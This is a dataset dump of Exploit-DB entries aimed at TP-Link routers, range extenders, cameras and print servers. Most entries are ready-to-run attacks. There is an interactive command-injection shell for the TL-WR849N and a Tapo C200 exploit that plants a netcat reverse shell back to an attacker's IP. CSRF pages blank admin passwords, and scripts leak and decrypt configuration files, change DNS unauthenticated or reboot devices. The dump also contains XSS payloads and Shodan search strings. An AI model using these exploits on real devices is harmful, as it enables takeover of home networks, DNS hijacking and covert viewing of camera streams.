deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48155
Description: TP LINK TL-WR849N - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-03-02
Author: Elber Tavares

Exploit:
# Exploit Title: TP LINK TL-WR849N - Remote Code Execution
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-2020-9374


import requests

def output(headers,cookies):
    url = 'http://192.168.0.1/cgi?1'
    data = ''
    data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'
    data += 'diagnosticsState\x0d\x0a'
    data += 'X_TP_HopSeq\x0d\x0a'
    data += 'X_TP_Result\x0d\x0a'
    r = requests.post(url,data=data,headers=headers,cookies=cookies)
    saida = r.text
    filtro = saida.replace(': Name or service not known','')
    filtro = filtro.replace('[0,0,0,0,0,0]0','')
    filtro = filtro.replace('diagnosticsState=','')
    filtro = filtro.replace('X_TP_HopSeq=0','')
    filtro = filtro.replace('X_TP_Result=','')
    print(filtro[:-8])

def aceppt(headers,cookies):
    url = 'http://192.168.0.1/cgi?7'
    data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'
    r = requests.post(url,data=data,headers=headers,cookies=cookies)
    output(headers,cookies)


def inject(command,headers,cookies):
    url = 'http://192.168.0.1/cgi?2'
    data = ''
    data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'
    data += 'maxHopCount=20\x0d\x0a'
    data += 'timeout=5\x0d\x0a'
    data += 'numberOfTries=1\x0d\x0a'
    data += 'host=\"$('+command+')\"\x0d\x0a'
    data += 'dataBlockSize=64\x0d\x0a'
    data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a'
    data += 'diagnosticsState=Requested\x0d\x0a'
    data += 'X_TP_HopSeq=0\x0d\x0a'
    r = requests.post(url,data=data,headers=headers,cookies=cookies)
    aceppt(headers,cookies)



def main():
    cookies = {"Authorization": "Basic REPLACEBASE64AUTH"}
    headers = {'Content-Type': 'text/plain',
      'Referer': 'http://192.168.0.1/mainFrame.htm'}
    while True:
        command = input('$ ')
        inject(command,headers,cookies)


main()
Exploit-DB #45811
Description: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure)
Type: webapps
Platform: hardware
Date: 2018-11-12
Author: Wadeek

Exploit:
# Exploit Title: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure)
# Date: 2018-11-07
# Exploit Author: Wadeek
# Vendor Homepage: https://www.tp-link.com/
# Hardware Version: Archer C50 v3 00000001
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware
# Firmware Version: <= Build 171227

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
url = "http://192.168.0.1:80/"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

require('base64')
require('openssl')
require('mechanize')
agent = Mechanize.new()
# require HTTP Proxy (chunk error)
agent.set_proxy("127.0.0.1", "8080")

def scan(agent, url, path, query)
begin
	puts(path)
	response = agent.post(url+path, query, {
		"User-Agent" => "",
		"Accept" => "*/*",
		"Referer" => "http://192.168.0.1/mainFrame.htm",
		"Content-Type" => "text/plain",
		"Connection" => "keep-alive",
		"Cookie" => ""
	})
rescue Exception => e
	begin
	puts(e.inspect())
	#
	body = e.page().body()
	content = Base64.decode64(body.scan(/ZAP Error \[java\.io\.IOException\]\: Bad chunk size\: (.*)/).join())
	puts(body.inspect())
	cipher = OpenSSL::Cipher.new("des-ecb")
	cipher.key = "478DA50BF9E3D2CF"
	cipher.decrypt()
	output = cipher.update(content)
	#
	file = File.open("conf.bin.raw", "wb")
	file.write(output)
	file.close()
	rescue Exception => e
		puts(e)
	end
	puts("")
end
end

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
payload = "\x5b\x49\x47\x44\x5f\x44\x45\x56\x5f\x49\x4e\x46\x4f\x23\x30"+
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c"+
"\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x30\x2c\x34\xd\xa\x6d\x6f\x64"+
"\x65\x6c\x4e\x61\x6d\x65\xd\xa\x64\x65\x73\x63\x72\x69\x70\x74"+
"\x69\x6f\x6e\xd\xa\x58\x5f\x54\x50\x5f\x69\x73\x46\x44\xd\xa\x58"+
"\x5f\x54\x50\x5f\x50\x72\x6f\x64\x75\x63\x74\x56\x65\x72\x73\x69"+
"\x6f\x6e\xd\xa\x5b\x45\x54\x48\x5f\x53\x57\x49\x54\x43\x48\x23\x30"+
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c"+
"\x30\x2c\x30\x2c\x30\x5d\x31\x2c\x31\xd\xa\x6e\x75\x6d\x62\x65\x72"+
"\x4f\x66\x56\x69\x72\x74\x75\x61\x6c\x50\x6f\x72\x74\x73\xd\xa\x5b"+
"\x53\x59\x53\x5f\x4d\x4f\x44\x45\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c"+
"\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x32"+
"\x2c\x31\xd\xa\x6d\x6f\x64\x65\xd\xa\x5b\x2f\x63\x67\x69\x2f\x63\x6f"+
"\x6e\x66\x65\x6e\x63\x6f\x64\x65\x23\x30\x2c\x30\x2c\x30\x2c\x30"+
"\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30"+
"\x5d\x33\x2c\x30\xd\xa\x3d"
#puts(payload)
scan(agent, url, "cgi?1&1&1&8", payload)
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Exploit-DB #40432
Description: TP-Link Archer CR-700 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2016-09-27
Author: Ayushman Dutta

Exploit:
# Exploit Title: TP-Link Archer CR-700 XSS vulnerability
# Google Dork: N/A
# Date: 09/07/2016
# Exploit Author: Ayushman Dutta
# Vendor Homepage: http://www.tp-link.us/
# Software Link: N/A
# Version: 1.0.6 (REQUIRED)
# Tested on: Linux
# CVE : N/A
#Exploit Information:
https://github.com/ayushman4/TP-Link-Archer-CR-700-XSS-Exploit/blob/master/README.md

TP-Link-Archer-CR-700-XSS-Exploit

Exploiting TP-Link Archer CR-700 Router. (Responsibly Disclosed to TP-Link)

Step 1-> On you linux machine (Kali or Ubuntu) type the following command

gedit /etc/dhcp/dhclient.conf

Comment out the line below
send host-name = gethostname();

Copy it to the line below it and change the gethostname() function to an XSS script like below.

send host-name = "<script>alert(5)</script>";

Step 2:Restart your linux system so that the changes takes into effect.

Step 3: Send a DHCP request to the router to receive an IP address with the command below.(Try this on any open network routers which is using TP-Link Archer CR-700)

dhclient -v -i wlan0

On running the command above, it send a DHCP request to the router. On a DHCP request, the host name is sent to which we have forcibly set it to an XSS script <script>alert(5)</script>

Step 4: Login to the administrator console.

On logging in the Script executes.

One more issue that I saw in the router that was that there was no CSRF token. The cookie set by the router contains a base64 encoded username & password whcih can be stolen using an XSS script.

Note:All The above information has been disclosed to TP-Link, who have reporduced the problem and passed it to their R&D team to fix the issue.

A URL to the product https://www.amazon.com/Wireless-Certified-Cablevision-Archer-CR700/dp/B012I96J3W
Exploit-DB #45173
Description: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure)
Type: webapps
Platform: hardware
Date: 2018-08-09
Author: Wadeek

Exploit:
# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure)
# Date: 2018-08-09
# Exploit Author: Wadeek
# Vendor Homepage: https://www.tp-link.com/
# Hardware Version: Archer C50 v3 00000001
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware
# Firmware Version: <= Build 171227

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
url = "http://192.168.0.1:80/"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

require('mechanize')
agent = Mechanize.new()

def dump(agent, url, path, query)
begin
	response = agent.post(url+path, query, {
		"User-Agent" => "",
		"Accept" => "*/*",
		"Referer" => "http://192.168.0.1/mainFrame.htm",
		"Content-Type" => "text/plain",
		"Connection" => "keep-alive",
		"Cookie" => ""
	})
rescue Exception => e
	begin
		puts(e.inspect())
		puts(e.page().body())
	rescue
	end
	puts("")
else
	puts(path)
	puts(response.body())
	puts("")
end
end

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# Get Wireless Settings
dump(agent, url, "cgi?5", "[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,10\r\nname\r\nenable\r\nstandard\r\nSSID\r\nregulatoryDomain\r\npossibleChannels\r\nautoChannelEnable\r\nchannel\r\nX_TP_PreSharedKey\r\nX_TP_Band\r\n")

# Get DDNS Settings
dump(agent, url, "cgi?1&1&1", "[DYN_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,0\r\n[CMX_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]2,0\r\n")
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Exploit-DB #45172
Description: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Remote Reboot)
Type: webapps
Platform: hardware
Date: 2018-08-09
Author: Wadeek

Exploit:
# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Remote Reboot)
# Date: 2018-08-09
# Exploit Author: Wadeek
# Vendor Homepage: https://www.tp-link.com/
# Hardware Version: Archer C50 v3 00000001
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware
# Firmware Version: <= Build 171227


#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
url = "http://192.168.0.1:80/"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

require('mechanize')
agent = Mechanize.new()

def reboot(agent, url, path, query)
begin
	response = agent.post(url+path, query, {
		"User-Agent" => "",
		"Accept" => "*/*",
		"Referer" => "http://192.168.0.1/mainFrame.htm",
		"Content-Type" => "text/plain",
		"Connection" => "keep-alive",
		"Cookie" => ""
	})
rescue Exception => e
	begin
		puts(e.inspect())
		puts(e.page().body())
	rescue
	end
	puts("")
else
	puts(path)
	puts(response.body())
	puts("")
end
end

#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
reboot(agent, url, "cgi?7", "[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n")
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Exploit-DB #51017
Description: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
Type: webapps
Platform: hardware
Date: 2022-09-23
Author: hacefresko

Exploit:
# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045

# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce

import requests, urllib3, sys, threading, os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)

if len(sys.argv) < 3:
    print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")
    exit()

victim = sys.argv[1]
attacker = sys.argv[2]

print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()

print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)
Exploit-DB #24928
Description: TP-Link TD-8817 6.0.1 Build 111128 Rel.26763 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2013-04-08
Author: Un0wn_X

Exploit:
######################################################################
# Exploit Title: TP-Link TD-8817 CSRF Vulnerability 
# Author: Un0wn_X
# E-mail: unownsec@gmail.com
# Category: Hardware
# Google Dork: N/A
# Vendor: http://www.tp-link.com
# Version: TD-W8901G
# Firmware Version: 6.0.1 Build 111128 Rel.26763
# Product: http://www.tp-link.com/lk/products/details/?model=TD-8817
# Tested on: Windows 7 64-bit
# PoC video: http://www.youtube.com/watch?v=8xJGkRQB0QM
######################################################################

#Introduction
==============
TP-Link TD-8817 is a ADSL2+ Ethernet/USB Modem Router which works with a 24-Mbps  downstream connection.

#Description of Vulnerability
=============================
You can easily change the default user's (admin) password by the default router page listning on tcp/ip port 80. In here you the $_GET will change the password for you and the $_POST request method is not needed for changing the router pass.

#Exploit
========

<html>
<!-- TP-Link TD-8817 CSRF Exploit -->
<body>
<img src="http://192.168.1.1/Forms/tools_admin_1"/>
</body>
</html>

==========
Save this as csrf.html and this will change the router password to blank if the current user admin visits this page his password will be resetted to blank. You can login with the username admin and password (blank).

#Greetz to G2, Zer0Freak, HR aka MrGreen, Divine, Keeper, SubZer0, zer0time, Zer0wl, Cyb_iDioT, Prominent, Raw-x, Kasper, D3ADSH0T
Exploit-DB #29924
Description: TP-Link TD-8840t - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2013-11-30
Author: mohammed al-saggaf

Exploit:
######################################################################
# Exploit Title: TP-Link TD-8840t CSRF Vulnerability
# Author: MOHAMMED AL-SAGGAF(LEGNED-SEIYUN)
# E-mail: mohammed.sec2010@gmail.com(www.facebook.com/mohammed.alsaggaf2010)
# Category: Hardware
# Google Dork: N/A
# Vendor: http://www.tp-link.com
# Firmware Version: 3.0.0 Build 120531
# Product: http://www.tp-link.com/en/products/details/?model=td-8840t
# Tested on: Windows 8 64-bit
######################################################################

#Introduction
==============
TP-Link TD-8840t is a ADSL2+ Ethernet/USB Modem Router which works with a
24-Mbps  downstream connection.

#Description of Vulnerability
=============================
You can easily change the default user's (admin) password by the default
router page listning on tcp/ip port 80. In here you the $_GET will change
the password for you and the $_POST request method is not needed for
changing the router pass.

#Exploit
========

<html>
<!-- TP-Link TD-8840t CSRF Exploit -->
<body>
<img src="http://192.168.1.1/Forms/tools_admin_1"/>
</body>
</html>

==========
Save this as csrf.html and this will change the router password to blank if
the current user admin visits this page his password will be resetted to
blank. You can login with the username admin and password (blank).

#Greetz to: Gehad.hilal
Exploit-DB #37238
Description: TP-Link TD-W8950ND ADSL2+ - Remote DNS Change
Type: webapps
Platform: hardware
Date: 2015-06-08
Author: Todor Donev

Exploit:
  TP-Link ADSL2+ TD-W8950ND 
  Unauthenticated Remote DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  No description for morons, 
  script kiddies & noobs !!

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!


[todor@adamantium ~]$ GET "http://TARGET/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1
Exploit-DB #28055
Description: TP-Link TD-W8951ND - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-09-03
Author: xistence

Exploit:
-----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

Tested on TP-Link TD-W8951ND Firmware 4.0.0 Build 120607 Rel.30923

-------------------------
Affected vendors:
-------------------------

TP-Link
http://www.tp-link.com/

----------
Details:
----------

[ 0x01 - Unauthenticated Reflected XSS in Referer for non-existing url
pages ]

GET /doesnotexist HTTP/1.1
Host: <IP>
Referer: http://pwned"><script>alert("XSS")</script>
Connection: keep-alive


[ 0x02 - Authenticated Reflected XSS in "home_wlan_1" arguments ]

http://
<IP>/Forms/home_wlan_1?wlanWEBFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://
<IP>/Forms/home_wlan_1?AccessFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://
<IP>/Forms/home_wlan_1?wlan_APenable=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E


[ 0x03 - Authenticated XSS in diagnostics (ping) "/Forms/tools_test_1"
argument "PingIPAddr" ]

POST /Forms/tools_test_1 HTTP/1.1
Host: <IP>
Referer: http://<IP>/maintenance/tools_test.htm
Authorization: Basic blablabla==
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

Test_PVC=PVC0&PingIPAddr=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&pingflag=1&trace_open_flag=0&InfoDisplay=Ping+request+could+not+find+host+


[ 0x04 - Reset Admin password CSRF ]

http://
<IP>/Forms/tools_admin_1?uiViewTools_[CREDENTIAL_REDACTED]_PasswordConfirm=PWNED

--------------
Timeline:
--------------

2013-05-30 Provided details to TP-Link.
2013-06-01 Response from TP-Link that they will try to fix it.
2013-07-31 No further response, mailed again to ask for status.
2013-08-30 No response, public disclosure.
Exploit-DB #44550
Description: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Remote Reboot
Type: webapps
Platform: hardware
Date: 2018-04-26
Author: Wadeek

Exploit:
# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender | Unauthorized Remote Reboot
# Date: 25/04/2018
# Exploit Author: Wadeek
# Vendor Homepage: https://www.tp-link.com/
# Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html
# Category: dos

1. www.shodan.io (with title "Opening...")

"HTTP/1.1 200 OK" "Server: TP-LINK HTTPD/1.0" "COOKIE="

2. Proof of Concept


:System Log:
/data/systemlog.txt?operation=save

:Encrypted Configuration File:
/data/config.bin?operation=backup

:Reboot:
curl --silent 'http://[IP]/data/reboot.json' -H 'Host: [IP]' -H 'Accept: application/json, text/javascript, */*;' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: COOKIE=' -H 'Connection: keep-alive' --data 'operation=write'
Exploit-DB #43023
Description: TP-Link TL-MR3220 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-10-12
Author: Thiago Sena

Exploit:
# Exploit Title: Vulnerability Xss - TP-LINK TL-MR3220
# Date: 12/10/2017
# Exploit Author: Thiago "THX" Sena
# Vendor Homepage: http://www.tp-link.com.br
# Version: TL-MR3220
# Tested on: Windows 10
# CVE : CVE-2017-15291

Vulnerabilty: Cross-site scripting (XSS) in TP-LINK TL-MR3220
cve: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15291
---------------------------------------------------------------

PoC: 

0x01 - First you go to ( http://IP:PORT/ )

0x02 - In the 'Wireless MAC Filtering' tab. 

0x03 - Will add a new MAC Address.

0x04 - In 'Description' it will put the script ( <script>alert('XSS')</script> ) and complete the registration. 

0x05 - Xss Vulnerability

--------------------------------------------------------------
Exploit-DB #17113
Description: TP-Link TL-PS110U / TL-PS110P - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2011-04-04
Author: b0telh0

Exploit:
GotGeek Labs
http://www.gotgeek.com.br/

TP-Link TL-PS110U & TL-PS110P Cross-site Scripting Vulnerability



[+] Description

TL-PS110U:
The TP-LINK TL-PS110U print server allows you to take the computer out
of the loop while setting up a printing network. All that is needed is to
connect the TL-PS110U to a printer via the USB port, connect the print
server to your LAN, and you will be able to access your printer from any
computer on the LAN.

TL-PS110P:
The TP-LINK TL-PS110P print server allows you to take the computer out
of the loop while setting up a printing network. All that is needed is to
connect the TL-PS110P to a printer via the parallel port, connect the print
server to your LAN, and you will be able to access your printer from any
computer on the LAN.



[+] Information

Title: TP-Link TL-PS110U & TL-PS110P Cross-site Scripting Vulnerability
Shodan Dork: ZOT-PS-47/9.8.0016 -WWW-Authenticate
             ZOT-PS-30/8.3.0013 -WWW-Authenticate
Advisory: gg-006-2011
Date: 03-15-2011
Last update: 03-26-2011
Link: http://www.gotgeek.com.br/pocs/gg-006-2011.txt



[+] Vulnerabilities

Stored Cross-site Scripting:
Web interface from TL-PS110U and TL-PS110P Print Servers are affected by stored
cross-site scripting vulnerability because it fails to properly sanitize
user-supplied input at "NDSContext" field in "NetWare NDS Settings" area.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

After injecting the XSS code, you need to access Netware status page.


Affected Versions:

TP-Link TL-PS110U Network Print Server
Firmware: 9.08.47T 0016 (ZOT-PS-47/9.8.0016)
          9.08.47T 0013 (ZOT-PS-47/9.8.0013)
          6.03.35T 0007 (ZOT-PS-47/9.8.0007)
          6.03.35T 0006 (ZOT-PS-47/9.8.0006)
          6.03.35T 0005 (ZOT-PS-47/9.8.0005)
          6.03.35T 0004 (ZOT-PS-47/9.8.0004)

TP-Link TL-PS110P Network Print Server
Firmware: 8.03.30T 0013 (ZOT-PS-30/8.3.0013)
          8.03.30T 0009 (ZOT-PS-30/8.3.0009)
          8.03.30T 0008 (ZOT-PS-30/8.3.0008)

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

XSS:
http://target/RESTART.HTM?NDSContext=</script><script>alert("xss")</script><script>

and then..

http://target/NETWARE.HTM



[+] Timeline

24-03-2011: first contact to vendor.
27-03-2011: support contact response, asking more details.
27-03-2011: more information sent.
03-04-2011: no vendor response.
04-04-2011: advisory published.



[+] References

http://www.tp-link.com/products/productDetails.asp?class=&pmodel=TL-PS110U
http://www.tp-link.com/products/productDetails.asp?class=&pmodel=TL-PS110P



[+] Credits

b0telh0
Exploit-DB #45632
Description: TP-Link TL-SC3130 1.6.18 - RTSP Stream Disclosure
Type: webapps
Platform: hardware
Date: 2018-10-17
Author: LiquidWorm

Exploit:
# Exploit Title: TP-Link TL-SC3130 1.6.18 - RTSP Stream Disclosure
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-10-17
# Vendor: TP-LINK Technologies Co., Ltd.
# Product web page: http://www.tp-link.com
# Affected version: 1.6.18P12_121101
# Tested on: Boa/0.94.14rc21
# CVE: N/A
# References:
# Advisory ID: ZSL-2018-5497
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5497.php

Desc: The TP-Link TL-SC3130 suffers from an unauthenticated and unauthorized
live RTSP stream disclosure.

# PoC:

http://TARGET/jpg/image.jpg
rtsp://TARGET:554/video.3gp